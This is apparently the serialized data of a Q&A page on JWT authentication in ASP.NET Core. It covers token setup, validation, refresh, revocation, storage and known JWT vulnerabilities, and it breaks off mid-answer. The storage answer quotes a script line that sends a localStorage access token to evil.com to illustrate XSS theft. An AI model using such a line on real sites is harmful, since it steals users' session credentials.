[{"data":1,"prerenderedAt":107},["ShallowReactive",2],{"qa-\u002Fdotnet\u002Fsecurity\u002Fjwt-tokens":3},{"page":4,"siblings":95,"blog":104},{"id":5,"title":6,"body":7,"description":11,"difficulty":14,"extension":15,"framework":16,"frameworkSlug":17,"meta":18,"navigation":19,"order":20,"path":21,"questions":22,"questionsCount":85,"related":86,"seo":87,"seoDescription":88,"stem":89,"subtopic":90,"topic":91,"topicSlug":92,"updated":93,"__hash__":94},"qa\u002Fdotnet\u002Fsecurity\u002Fjwt-tokens.md","Jwt Tokens",{"type":8,"value":9,"toc":10},"minimark",[],{"title":11,"searchDepth":12,"depth":12,"links":13},"",2,[],"medium","md",".NET Core","dotnet",{},true,3,"\u002Fdotnet\u002Fsecurity\u002Fjwt-tokens",[23,28,32,36,40,44,48,52,57,61,65,69,73,77,81],{"id":24,"difficulty":25,"q":26,"a":27},"jwt-structure","easy","What is a JWT and what are its three parts?","A **JSON Web Token (JWT)** is a compact, URL-safe token that carries signed claims.\nIt consists of three Base64URL-encoded JSON objects separated by dots:\n`header.payload.signature`.\n\n```csharp\n\u002F\u002F Example JWT (decoded):\n\u002F\u002F eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9     ← header\n\u002F\u002F .eyJzdWIiOiI0MiIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJyb2xlIjoiQWRtaW4iLCJleHAiOjE3MTk5MzkyMDB9  ← payload\n\u002F\u002F .SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  ← signature\n\n\u002F\u002F Header (algorithm + type):\n\u002F\u002F {\n\u002F\u002F \"alg\": \"HS256\",   \u002F\u002F HMAC SHA-256 (symmetric)\n\u002F\u002F \"typ\": \"JWT\"\n\u002F\u002F }\n\n\u002F\u002F Payload (claims):\n\u002F\u002F {\n\u002F\u002F \"sub\":   \"42\",                   \u002F\u002F subject (user ID) — registered claim\n\u002F\u002F \"email\": \"alice@example.com\",    \u002F\u002F private claim\n\u002F\u002F \"role\":  \"Admin\",                \u002F\u002F private claim\n\u002F\u002F \"iss\":   \"https:\u002F\u002Fmyapp.com\",    \u002F\u002F issuer — registered claim\n\u002F\u002F \"aud\":   \"api1\",                 \u002F\u002F audience — registered claim\n\u002F\u002F \"exp\":   1719939200,             \u002F\u002F expiry (Unix timestamp) — registered claim\n\u002F\u002F \"iat\":   1719935600,             \u002F\u002F issued at — registered claim\n\u002F\u002F \"nbf\":   1719935600              \u002F\u002F not before — registered claim\n\u002F\u002F }\n\n\u002F\u002F Signature — protects header + payload from tampering:\n\u002F\u002F HMACSHA256(base64url(header) + \".\" + base64url(payload), secret)\n\n\u002F\u002F Key property: payload is NOT encrypted — only signed.\n\u002F\u002F Anyone can decode the payload; only the key holder can create a valid signature.\n\u002F\u002F → Never put passwords, PII, or secrets in the payload.\n\nusing var handler = new JwtSecurityTokenHandler();\nvar token = handler.ReadJwtToken(jwtString);      \u002F\u002F decode without validation\nvar sub   = token.Claims.First(c => c.Type == \"sub\").Value;\n```\n\n**Rule of thumb:** JWTs are signed, not secret. The signature guarantees integrity —\nnobody can tamper with the payload without invalidating the signature — but the\ncontent is readable by anyone. Encrypt sensitive data before adding it as a claim.\n",{"id":29,"difficulty":25,"q":30,"a":31},"jwt-bearer-setup","How do you configure JWT bearer authentication in ASP.NET Core?","Install `Microsoft.AspNetCore.Authentication.JwtBearer`, call `AddJwtBearer`, and\nset token validation parameters. The middleware reads the `Authorization: Bearer \u003Ctoken>`\nheader on every request.\n\n```csharp\n\u002F\u002F NuGet: Microsoft.AspNetCore.Authentication.JwtBearer\n\nvar jwtSettings = builder.Configuration.GetSection(\"Jwt\");\nvar key         = Encoding.UTF8.GetBytes(jwtSettings[\"Secret\"]!);\n\nbuilder.Services\n    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)\n    .AddJwtBearer(options =>\n    {\n        options.TokenValidationParameters = new TokenValidationParameters\n        {\n            \u002F\u002F What to validate:\n            ValidateIssuer           = true,\n            ValidIssuer              = jwtSettings[\"Issuer\"],    \u002F\u002F \"https:\u002F\u002Fmyapp.com\"\n\n            ValidateAudience         = true,\n            ValidAudience            = jwtSettings[\"Audience\"],  \u002F\u002F \"api1\"\n\n            ValidateLifetime         = true,                     \u002F\u002F check exp claim\n            ClockSkew                = TimeSpan.FromSeconds(30), \u002F\u002F tolerance for clock drift\n\n            ValidateIssuerSigningKey = true,\n            IssuerSigningKey         = new SymmetricSecurityKey(key),\n        };\n\n        \u002F\u002F Events (optional) — hook into authentication lifecycle:\n        options.Events = new JwtBearerEvents\n        {\n            OnAuthenticationFailed = ctx =>\n            {\n                \u002F\u002F Log token validation failure (don't expose reason to caller):\n                var logger = ctx.HttpContext.RequestServices\n                    .GetRequiredService\u003CILogger\u003CProgram>>();\n                logger.LogWarning(\"JWT validation failed: {Error}\", ctx.Exception.Message);\n                return Task.CompletedTask;\n            },\n        };\n    });\n\nbuilder.Services.AddAuthorization();\n\nvar app = builder.Build();\napp.UseAuthentication();\napp.UseAuthorization();\n```\n\n**Rule of thumb:** Always validate issuer, audience, lifetime, and the signing key.\nSkipping any of these creates exploitable gaps — especially `ValidateAudience`, which\nprevents tokens issued for one API from being used at another.\n",{"id":33,"difficulty":14,"q":34,"a":35},"generate-jwt","How do you generate a JWT in ASP.NET Core?","Use `JwtSecurityTokenHandler` (from `System.IdentityModel.Tokens.Jwt`) to create\nand sign a token. Return it in the login response; clients include it in subsequent\n`Authorization: Bearer` headers.\n\n```csharp\n\u002F\u002F Token generation service:\npublic class JwtTokenService\n{\n    private readonly IConfiguration _config;\n\n    public JwtTokenService(IConfiguration config) => _config = config;\n\n    public string GenerateAccessToken(User user)\n    {\n        var jwtSettings = _config.GetSection(\"Jwt\");\n        var key         = new SymmetricSecurityKey(\n            Encoding.UTF8.GetBytes(jwtSettings[\"Secret\"]!));\n\n        var claims = new List\u003CClaim>\n        {\n            new Claim(JwtRegisteredClaimNames.Sub,   user.Id.ToString()),\n            new Claim(JwtRegisteredClaimNames.Email, user.Email),\n            new Claim(JwtRegisteredClaimNames.Jti,   Guid.NewGuid().ToString()), \u002F\u002F unique token ID\n            new Claim(ClaimTypes.Role,               user.Role),\n        };\n\n        var token = new JwtSecurityToken(\n            issuer:             jwtSettings[\"Issuer\"],\n            audience:           jwtSettings[\"Audience\"],\n            claims:             claims,\n            notBefore:          DateTime.UtcNow,\n            expires:            DateTime.UtcNow.AddMinutes(\n                                    int.Parse(jwtSettings[\"ExpiryMinutes\"]!)),\n            signingCredentials: new SigningCredentials(key, SecurityAlgorithms.HmacSha256));\n\n        return new JwtSecurityTokenHandler().WriteToken(token);\n    }\n}\n\n\u002F\u002F Login endpoint — validate credentials, return token:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    var accessToken = _tokenService.GenerateAccessToken(user);\n    return Ok(new { accessToken, expiresIn = 900 }); \u002F\u002F 15 min\n}\n```\n\n**Rule of thumb:** Always include `jti` (JWT ID) for auditability and revocation\nsupport. Keep access token lifetime short (≤ 15 min); long-lived tokens become\na liability if leaked.\n",{"id":37,"difficulty":14,"q":38,"a":39},"token-validation-params","What are the critical TokenValidationParameters settings and what does each prevent?","`TokenValidationParameters` controls which claims are checked when the middleware\nvalidates an incoming token. Missing validations are exploitable attack vectors.\n\n```csharp\nnew TokenValidationParameters\n{\n    \u002F\u002F ValidateIssuer — prevents tokens from untrusted issuers:\n    \u002F\u002F Attack: attacker generates a valid HS256 token with alg=none or different issuer\n    ValidateIssuer = true,\n    ValidIssuer    = \"https:\u002F\u002Fauth.myapp.com\",\n\n    \u002F\u002F ValidateAudience — prevents token replay across APIs:\n    \u002F\u002F Attack: token issued for api1 reused against api2\n    ValidateAudience = true,\n    ValidAudience    = \"api1\",\n\n    \u002F\u002F ValidateLifetime — prevents use of expired tokens:\n    ValidateLifetime = true,\n    ClockSkew        = TimeSpan.FromSeconds(30), \u002F\u002F allow 30s clock drift between servers\n\n    \u002F\u002F ValidateIssuerSigningKey — prevents forged tokens:\n    ValidateIssuerSigningKey = true,\n    IssuerSigningKey         = new SymmetricSecurityKey(key),\n\n    \u002F\u002F NameClaimType — controls what User.Identity.Name returns:\n    NameClaimType   = JwtRegisteredClaimNames.Sub,  \u002F\u002F or ClaimTypes.Name\n\n    \u002F\u002F RoleClaimType — controls User.IsInRole():\n    RoleClaimType   = ClaimTypes.Role,\n\n    \u002F\u002F RequireExpirationTime — reject tokens without exp:\n    RequireExpirationTime = true,\n\n    \u002F\u002F RequireSignedTokens — reject unsigned (alg=none) tokens:\n    RequireSignedTokens = true, \u002F\u002F true by default — never set to false\n}\n```\n\n**Rule of thumb:** Never disable `ValidateAudience`, `ValidateLifetime`, or\n`RequireSignedTokens`. The `alg=none` vulnerability (accepting unsigned tokens)\nis a CRITICAL CVE pattern — `RequireSignedTokens` prevents it.\n",{"id":41,"difficulty":14,"q":42,"a":43},"refresh-tokens","What are refresh tokens and how do you implement a refresh flow in ASP.NET Core?","**Refresh tokens** are long-lived, opaque credentials stored server-side. When the\nshort-lived access token expires, the client exchanges the refresh token for a new\naccess token — without re-entering credentials.\n\n```csharp\n\u002F\u002F Token pair returned at login:\npublic record TokenResponse(string AccessToken, string RefreshToken, int ExpiresIn);\n\n\u002F\u002F Login endpoint — return both tokens:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    var accessToken  = _tokenService.GenerateAccessToken(user);\n    var refreshToken = await _refreshTokenStore.CreateAsync(user.Id);\n    \u002F\u002F refreshToken is a random opaque string stored in DB with expiry (e.g., 30 days)\n\n    return Ok(new TokenResponse(accessToken, refreshToken, ExpiresIn: 900));\n}\n\n\u002F\u002F Refresh endpoint — exchange refresh token for new access token:\n[HttpPost(\"refresh\")]\npublic async Task\u003CIActionResult> Refresh([FromBody] RefreshDto dto)\n{\n    var stored = await _refreshTokenStore.GetAsync(dto.RefreshToken);\n    if (stored is null || stored.IsRevoked || stored.ExpiresAt \u003C DateTime.UtcNow)\n        return Unauthorized(\"Invalid or expired refresh token\");\n\n    \u002F\u002F Rotate — invalidate old refresh token, issue new one:\n    await _refreshTokenStore.RevokeAsync(dto.RefreshToken);\n\n    var user         = await _userService.GetByIdAsync(stored.UserId);\n    var accessToken  = _tokenService.GenerateAccessToken(user!);\n    var refreshToken = await _refreshTokenStore.CreateAsync(user!.Id);\n\n    return Ok(new TokenResponse(accessToken, refreshToken, ExpiresIn: 900));\n}\n\n\u002F\u002F Revoke all tokens on logout:\n[HttpPost(\"logout\")]\n[Authorize]\npublic async Task\u003CIActionResult> Logout([FromBody] RevokeDto dto)\n{\n    await _refreshTokenStore.RevokeAsync(dto.RefreshToken);\n    return NoContent();\n}\n```\n\n**Rule of thumb:** Always rotate refresh tokens on each use — issue a new one\nand invalidate the old one. This detects token theft: if a stolen token is used\nbefore the legitimate client, the legitimate client's next request will fail.\n",{"id":45,"difficulty":14,"q":46,"a":47},"symmetric-vs-asymmetric","What is the difference between symmetric and asymmetric JWT signing?","**Symmetric signing** (HMAC) uses one shared secret for both signing and verification.\n**Asymmetric signing** (RSA\u002FECDSA) uses a private key to sign and a public key to\nverify — the public key can be shared safely.\n\n```csharp\n\u002F\u002F Symmetric — HS256 \u002F HS384 \u002F HS512:\n\u002F\u002F Same secret used to sign and verify — both the token issuer and all resource servers\n\u002F\u002F must have the secret. If any server is compromised, all tokens are at risk.\nvar symmetricKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secret));\nvar signingCreds = new SigningCredentials(symmetricKey, SecurityAlgorithms.HmacSha256);\n\n\u002F\u002F Validate with the same key:\noptions.IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secret));\n\n\u002F\u002F Asymmetric — RS256 \u002F RS384 \u002F RS512 \u002F ES256:\n\u002F\u002F Private key lives only on the auth server.\n\u002F\u002F Public key is distributed to resource servers (or served via JWKS endpoint).\nvar rsa        = RSA.Create();\nrsa.ImportFromPem(File.ReadAllText(\"private.pem\"));\nvar privateKey = new RsaSecurityKey(rsa) { KeyId = \"key-2024-01\" };\nvar signingCreds = new SigningCredentials(privateKey, SecurityAlgorithms.RsaSha256);\n\n\u002F\u002F Resource server validates with public key only:\nvar rsaPublic = RSA.Create();\nrsaPublic.ImportFromPem(File.ReadAllText(\"public.pem\"));\noptions.IssuerSigningKey = new RsaSecurityKey(rsaPublic);\n\n\u002F\u002F JWKS endpoint — automatic public key retrieval (common for identity providers):\noptions.Authority = \"https:\u002F\u002Fauth.myapp.com\"; \u002F\u002F fetches JWKS from \u002F.well-known\u002Fopenid-configuration\n\u002F\u002F No need to configure IssuerSigningKey manually — handler fetches + caches JWKS\n```\n\n**Rule of thumb:** Use symmetric signing (HS256) when one service issues and verifies\ntokens (monolith, single API). Use asymmetric signing (RS256\u002FES256) in microservices\nor multi-tenant scenarios where multiple services verify tokens but only one issues them.\n",{"id":49,"difficulty":14,"q":50,"a":51},"jwt-claims-mapping","How does ASP.NET Core map JWT claims to ClaimsPrincipal, and what common gotchas exist?","The JWT bearer middleware parses the token payload and creates a `ClaimsPrincipal`.\nIt maps standard JWT claim names to WS-Federation long-form `ClaimTypes.*` URIs by\ndefault — which can cause surprising name mismatches.\n\n```csharp\n\u002F\u002F Default mapping — JWT claim \"sub\" becomes:\n\u002F\u002F ClaimTypes.NameIdentifier = \"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2005\u002F05\u002Fidentity\u002Fclaims\u002Fnameidentifier\"\n\u002F\u002F JWT \"email\" → ClaimTypes.Email (long URI)\n\u002F\u002F JWT \"role\"  → ClaimTypes.Role  (long URI) — but only if the claim is named \"role\"\n\n\u002F\u002F This default mapping causes confusion. Disable it to use JWT claim names directly:\nJwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear(); \u002F\u002F clear global mapping\n\u002F\u002F Now \"sub\" stays \"sub\", \"email\" stays \"email\"\n\n\u002F\u002F Or configure per-handler:\noptions.MapInboundClaims = false; \u002F\u002F .NET 6+ — disables the long URI mapping\n\n\u002F\u002F After clearing, read claims by their JWT name:\nvar sub   = User.FindFirstValue(\"sub\");\nvar email = User.FindFirstValue(\"email\");\n\n\u002F\u002F Custom mapping — map specific JWT names to ClaimTypes:\noptions.TokenValidationParameters.NameClaimType = JwtRegisteredClaimNames.Sub;\noptions.TokenValidationParameters.RoleClaimType = \"role\"; \u002F\u002F or \"roles\"\n\n\u002F\u002F Role arrays in the token payload — the handler splits them automatically:\n\u002F\u002F JWT payload: { \"role\": [\"Admin\", \"Editor\"] }\n\u002F\u002F Results in two separate ClaimTypes.Role claims in ClaimsPrincipal\n\n\u002F\u002F Always test claim reading after changing the mapping:\nvar roles = User.FindAll(ClaimTypes.Role).Select(c => c.Value).ToList();\n```\n\n**Rule of thumb:** Call `JwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear()`\nor set `MapInboundClaims = false` when you control both the token issuer and the\nAPI. This keeps claim names predictable and matching what's in the token.\n",{"id":53,"difficulty":54,"q":55,"a":56},"jwt-vulnerabilities","hard","What are the most common JWT vulnerabilities and how do you prevent them in ASP.NET Core?","The top JWT vulnerabilities are algorithm confusion, token replay, missing validation,\nand weak secrets. ASP.NET Core's defaults prevent most of these, but misconfiguration\nundoes the protection.\n\n```csharp\n\u002F\u002F 1. alg=none attack — token with no signature accepted:\n\u002F\u002F Prevention: RequireSignedTokens = true (default)\noptions.TokenValidationParameters.RequireSignedTokens = true; \u002F\u002F never set to false\n\n\u002F\u002F 2. Algorithm confusion (RS256 → HS256 swap):\n\u002F\u002F Attacker uses the server's RSA public key as the HMAC secret.\n\u002F\u002F Prevention: explicitly specify accepted algorithms:\noptions.TokenValidationParameters.ValidAlgorithms = new[] { SecurityAlgorithms.RsaSha256 };\n\u002F\u002F Or use ValidateIssuerSigningKey — asymmetric key rejects HS256 automatically.\n\n\u002F\u002F 3. Missing audience validation — token for api1 replayed at api2:\noptions.TokenValidationParameters.ValidateAudience = true;\noptions.TokenValidationParameters.ValidAudience    = \"api1\"; \u002F\u002F never skip this\n\n\u002F\u002F 4. Weak secrets — HS256 with short\u002Fguessable key:\n\u002F\u002F Attacker can brute-force signatures offline against any captured token.\n\u002F\u002F Prevention: use ≥ 256-bit (32-byte) cryptographically random secret:\nvar secret = Convert.ToBase64String(RandomNumberGenerator.GetBytes(32));\n\u002F\u002F Store in Azure Key Vault \u002F AWS Secrets Manager, not appsettings.json.\n\n\u002F\u002F 5. Sensitive data in payload — payload is base64, not encrypted:\n\u002F\u002F Never include passwords, SSNs, credit card numbers in claims.\n\u002F\u002F Include only identity\u002Fauthorization data (sub, email, roles).\n\n\u002F\u002F 6. Long-lived access tokens — stolen tokens stay valid:\n\u002F\u002F Prevention: short expiry (≤ 15 min) + refresh token rotation.\nexpires: DateTime.UtcNow.AddMinutes(15) \u002F\u002F not AddDays(30)\n\n\u002F\u002F 7. Insecure storage on the client (localStorage vs HttpOnly cookie):\n\u002F\u002F localStorage is readable by JavaScript → XSS steals the token.\n\u002F\u002F HttpOnly cookie is not accessible to JS (but requires CSRF protection).\n\u002F\u002F For SPAs: prefer HttpOnly, SameSite=Strict cookies for refresh tokens.\n```\n\n**Rule of thumb:** Treat a JWT as a bearer credential — whoever has it can use it.\nKeep access tokens short-lived, use `RequireSignedTokens`, validate audience, and store\nsecrets in a vault. Reject tokens signed with unexpected algorithms.\n",{"id":58,"difficulty":14,"q":59,"a":60},"jwt-expiry-handling","How do you handle JWT expiration — on the server and on the client?","The server rejects expired tokens automatically via `ValidateLifetime = true`. On the\nclient, detect the 401 response and use the refresh token to get a new access token\nbefore retrying.\n\n```csharp\n\u002F\u002F Server — automatic expiry check via TokenValidationParameters:\nValidateLifetime = true,\nClockSkew        = TimeSpan.FromSeconds(30), \u002F\u002F 30s tolerance for server clock drift\n\n\u002F\u002F When a token is expired, the middleware returns 401 with:\n\u002F\u002F WWW-Authenticate: Bearer error=\"invalid_token\", error_description=\"The token is expired\"\n\n\u002F\u002F Server — JwtBearerEvents to customize the 401 response:\noptions.Events = new JwtBearerEvents\n{\n    OnChallenge = ctx =>\n    {\n        \u002F\u002F Suppress default redirect; return structured JSON:\n        ctx.HandleResponse();\n        ctx.Response.StatusCode  = 401;\n        ctx.Response.ContentType = \"application\u002Fjson\";\n        return ctx.Response.WriteAsJsonAsync(new\n        {\n            error   = \"token_expired\",\n            message = \"Access token has expired. Use the refresh token to get a new one.\",\n        });\n    },\n};\n\n\u002F\u002F How to check expiry before sending (avoids a round-trip):\nvar handler   = new JwtSecurityTokenHandler();\nvar jwtToken  = handler.ReadJwtToken(accessToken);\nvar expiresAt = jwtToken.ValidTo; \u002F\u002F UTC\nif (expiresAt \u003C DateTime.UtcNow.AddSeconds(30))\n{\n    \u002F\u002F Proactively refresh before the token expires:\n    accessToken = await _authClient.RefreshAsync(refreshToken);\n}\n```\n\n**Rule of thumb:** Add 30 seconds of clock skew on the server to absorb time\ndifferences between machines. On the client, refresh proactively 30 seconds before\nexpiry rather than waiting for a 401 — it avoids a failed request + retry round-trip.\n",{"id":62,"difficulty":54,"q":63,"a":64},"jwt-revocation","JWTs are stateless — how do you revoke one before it expires?","Because JWTs are self-contained and the server keeps no state, revoking an individual\ntoken requires either a **blocklist** (server-side store) or shifting to short-lived\ntokens plus refresh token rotation.\n\n```csharp\n\u002F\u002F Approach 1 — server-side blocklist (sacrifices statelessness):\npublic class TokenBlocklist\n{\n    private readonly IDistributedCache _cache;\n\n    \u002F\u002F Add a token's JTI claim to the blocklist on logout\u002Frevoke:\n    public async Task RevokeAsync(string jti, DateTimeOffset expiry)\n    {\n        await _cache.SetStringAsync(\n            key:     $\"revoked:{jti}\",\n            value:   \"1\",\n            options: new DistributedCacheEntryOptions\n            {\n                AbsoluteExpiration = expiry, \u002F\u002F entry auto-expires when token would have anyway\n            });\n    }\n\n    public async Task\u003Cbool> IsRevokedAsync(string jti)\n        => await _cache.GetStringAsync($\"revoked:{jti}\") is not null;\n}\n\n\u002F\u002F Check blocklist in JwtBearerEvents:\noptions.Events = new JwtBearerEvents\n{\n    OnTokenValidated = async ctx =>\n    {\n        var jti      = ctx.Principal!.FindFirstValue(JwtRegisteredClaimNames.Jti);\n        var blocklist = ctx.HttpContext.RequestServices.GetRequiredService\u003CTokenBlocklist>();\n        if (jti is not null && await blocklist.IsRevokedAsync(jti))\n            ctx.Fail(\"Token has been revoked\");\n    },\n};\n\n\u002F\u002F Approach 2 — short-lived access tokens + refresh token rotation:\n\u002F\u002F Access token: 5–15 min (no need to revoke; just wait it out)\n\u002F\u002F On logout: revoke only the refresh token in the DB\n\u002F\u002F Stolen access token is usable for ≤ 15 min — acceptable for most applications\n\n\u002F\u002F Approach 3 — reference tokens (opaque):\n\u002F\u002F Issue an opaque token ID; validate against a DB on every request.\n\u002F\u002F Full revocation, but adds a DB lookup per request.\n```\n\n**Rule of thumb:** For most apps, short access tokens (≤ 15 min) + refresh token\nrevocation is the right balance. Implement a blocklist only if you need true immediate\nrevocation (e.g., after a compromised credential event).\n",{"id":66,"difficulty":14,"q":67,"a":68},"jwt-storage","Where should JWTs be stored on the client, and what are the security trade-offs?","Client-side JWT storage has two main options: **`localStorage`\u002F`sessionStorage`** and\n**`HttpOnly` cookies**. Each has distinct security implications.\n\n```csharp\n\u002F\u002F Option 1 — localStorage \u002F sessionStorage (SPA default):\n\u002F\u002F Pros: simple, no CSRF risk, works across tabs (localStorage)\n\u002F\u002F Cons: readable by ANY JavaScript on the page → XSS attack steals the token\n\u002F\u002F \u003Cscript>fetch('https:\u002F\u002Fevil.com?t=' + localStorage.getItem('access_token'))\u003C\u002Fscript>\n\u002F\u002F If choosing this: implement strict Content-Security-Policy, validate all input\n\n\u002F\u002F Option 2 — HttpOnly cookie (backend sets the cookie):\n\u002F\u002F Return access\u002Frefresh tokens in HttpOnly, Secure, SameSite=Strict cookies:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user    = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    var accessToken  = _tokenService.GenerateAccessToken(user);\n    var refreshToken = await _refreshStore.CreateAsync(user.Id);\n\n    \u002F\u002F HttpOnly — JS cannot read this cookie:\n    Response.Cookies.Append(\"access_token\", accessToken, new CookieOptions\n    {\n        HttpOnly  = true,\n        Secure    = true,         \u002F\u002F HTTPS only\n        SameSite  = SameSiteMode.Strict,\n        Expires   = DateTimeOffset.UtcNow.AddMinutes(15),\n    });\n    Response.Cookies.Append(\"refresh_token\", refreshToken, new CookieOptions\n    {\n        HttpOnly  = true,\n        Secure    = true,\n        SameSite  = SameSiteMode.Strict,\n        Expires   = DateTimeOffset.UtcNow.AddDays(30),\n        Path      = \"\u002Fapi\u002Fauth\u002Frefresh\", \u002F\u002F limit cookie scope to refresh endpoint\n    });\n\n    return Ok(new { message = \"Logged in\" });\n}\n\n\u002F\u002F Pros: immune to XSS token theft\n\u002F\u002F Cons: CSRF attack possible — mitigate with SameSite=Strict + CSRF tokens for mutations\n\u002F\u002F JWT bearer middleware can read from cookies:\noptions.Events = new JwtBearerEvents\n{\n    OnMessageReceived = ctx =>\n    {\n        ctx.Token = ctx.Request.Cookies[\"access_token\"];\n        return Task.CompletedTask;\n    },\n};\n```\n\n**Rule of thumb:** Store JWTs in `HttpOnly, Secure, SameSite=Strict` cookies to\ndefend against XSS. Use `localStorage` only if the app has strong CSP and you\naccept the XSS risk. Never store tokens in `sessionStorage` across multiple tabs.\n",{"id":70,"difficulty":54,"q":71,"a":72},"jwks-endpoint","What is a JWKS endpoint and how does ASP.NET Core use it for token validation?","A **JSON Web Key Set (JWKS)** endpoint exposes the public keys of an identity provider\nas a JSON document. ASP.NET Core's JWT bearer handler fetches and caches these keys\nautomatically, so you don't need to ship the public key with your application.\n\n```csharp\n\u002F\u002F JWKS document served at \u002F.well-known\u002Fjwks.json:\n\u002F\u002F {\n\u002F\u002F   \"keys\": [\n\u002F\u002F     {\n\u002F\u002F       \"kty\": \"RSA\",\n\u002F\u002F       \"kid\": \"key-2024-01\",     \u002F\u002F key ID — matches the JWT header \"kid\"\n\u002F\u002F       \"n\":   \"\u003Cmodulus>\",\n\u002F\u002F       \"e\":   \"AQAB\",\n\u002F\u002F       \"alg\": \"RS256\",\n\u002F\u002F       \"use\": \"sig\"\n\u002F\u002F     }\n\u002F\u002F   ]\n\u002F\u002F }\n\n\u002F\u002F ASP.NET Core — configure via Authority (OIDC discovery document):\nbuilder.Services\n    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)\n    .AddJwtBearer(options =>\n    {\n        \u002F\u002F Handler fetches \u002F.well-known\u002Fopenid-configuration, then the jwks_uri from it:\n        options.Authority = \"https:\u002F\u002Fauth.myapp.com\";\n        options.Audience  = \"api1\";\n        \u002F\u002F No need to configure IssuerSigningKey — fetched and cached automatically.\n        \u002F\u002F Keys are refreshed when a token arrives with an unknown \"kid\" claim.\n    });\n\n\u002F\u002F Manual JWKS — when you control the identity provider and serve keys directly:\nbuilder.Services\n    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)\n    .AddJwtBearer(options =>\n    {\n        options.TokenValidationParameters = new TokenValidationParameters\n        {\n            ValidateIssuerSigningKey = true,\n            \u002F\u002F The handler fetches and parses this JWKS endpoint:\n            IssuerSigningKeyResolver = (token, securityToken, kid, parameters) =>\n            {\n                \u002F\u002F Custom resolver — fetch keys from your own endpoint:\n                var client = new HttpClient();\n                var response = client.GetStringAsync(\"https:\u002F\u002Fauth.myapp.com\u002F.well-known\u002Fjwks.json\").Result;\n                var keys = new JsonWebKeySet(response);\n                return keys.GetSigningKeys();\n            },\n            ValidateIssuer   = true,\n            ValidIssuer      = \"https:\u002F\u002Fauth.myapp.com\",\n            ValidateAudience = true,\n            ValidAudience    = \"api1\",\n        };\n    });\n\n\u002F\u002F Key rotation — the \"kid\" header in each JWT tells the handler which key to use.\n\u002F\u002F When a new kid is seen, the handler re-fetches the JWKS to pick up the new key.\n```\n\n**Rule of thumb:** Prefer `Authority` over manual `IssuerSigningKey` when using a\nstandards-compliant identity provider (Auth0, Okta, Azure AD, Keycloak). The handler\nmanages key caching and rotation automatically, reducing operational overhead.\n",{"id":74,"difficulty":14,"q":75,"a":76},"jwt-audience-multi","How do you validate a JWT against multiple valid audiences?","Set `ValidAudiences` (plural) in `TokenValidationParameters` to accept tokens that\ncarry any of the listed audience values. The token's `aud` claim must match at least\none entry.\n\n```csharp\n\u002F\u002F Single audience — most common, most secure:\noptions.TokenValidationParameters = new TokenValidationParameters\n{\n    ValidateAudience = true,\n    ValidAudience    = \"api1\",\n};\n\n\u002F\u002F Multiple valid audiences — accept tokens for api1 OR api2:\noptions.TokenValidationParameters = new TokenValidationParameters\n{\n    ValidateAudience = true,\n    ValidAudiences   = new[] { \"api1\", \"api2\", \"https:\u002F\u002Fmyapp.com\u002Fapi\" },\n    \u002F\u002F The token's aud claim (string or array) must contain at least one of these.\n};\n\n\u002F\u002F Note: the JWT spec allows aud to be a string or a JSON array:\n\u002F\u002F \"aud\": \"api1\"                    \u002F\u002F single audience\n\u002F\u002F \"aud\": [\"api1\", \"api2\"]          \u002F\u002F multiple — token is valid for both\n\u002F\u002F ASP.NET Core handles both forms automatically.\n\n\u002F\u002F Per-endpoint scheme with a different audience — use separate schemes:\nbuilder.Services\n    .AddAuthentication()\n    .AddJwtBearer(\"InternalApi\", options =>\n    {\n        options.Authority = \"https:\u002F\u002Fauth.myapp.com\";\n        options.Audience  = \"internal-api\";\n    })\n    .AddJwtBearer(\"ExternalApi\", options =>\n    {\n        options.Authority = \"https:\u002F\u002Fauth.myapp.com\";\n        options.Audience  = \"external-api\";\n    });\n\n\u002F\u002F Apply a specific scheme to an endpoint:\n[Authorize(AuthenticationSchemes = \"InternalApi\")]\n[HttpGet(\"internal\u002Freport\")]\npublic IActionResult InternalReport() => Ok();\n\n\u002F\u002F Warning: never set ValidateAudience = false in production —\n\u002F\u002F it allows tokens issued for any audience to access your API.\n```\n\n**Rule of thumb:** Keep the audience list as narrow as possible — ideally one value per\nAPI. If you need to accept tokens from multiple issuers or audiences, use separate\nnamed schemes with distinct configurations rather than widening a single scheme.\n",{"id":78,"difficulty":54,"q":79,"a":80},"jwt-delegation-pattern","What is the on-behalf-of (OBO) flow and when do you use it in a microservices architecture?","The **On-Behalf-Of (OBO)** flow (OAuth 2.0 Token Exchange) lets a service exchange a\nuser's access token for a new token scoped to a downstream service — propagating the\nuser's identity through a chain of microservices without sharing the original token.\n\n```csharp\n\u002F\u002F Scenario: Client → Service A (receives token for aud=api-a)\n\u002F\u002F           Service A → Service B (needs token for aud=api-b, still as the user)\n\n\u002F\u002F Service A calls Azure AD OBO endpoint to exchange its token:\npublic class DownstreamTokenService\n{\n    private readonly IHttpClientFactory _httpFactory;\n    private readonly IConfiguration    _config;\n\n    public DownstreamTokenService(IHttpClientFactory http, IConfiguration config)\n    {\n        _httpFactory = http;\n        _config      = config;\n    }\n\n    public async Task\u003Cstring> GetTokenForServiceBAsync(string incomingAccessToken)\n    {\n        var client = _httpFactory.CreateClient();\n\n        \u002F\u002F OBO grant — exchange the incoming token for a downstream token:\n        var response = await client.PostAsync(\n            $\"https:\u002F\u002Flogin.microsoftonline.com\u002F{_config[\"AzureAd:TenantId\"]}\u002Foauth2\u002Fv2.0\u002Ftoken\",\n            new FormUrlEncodedContent(new 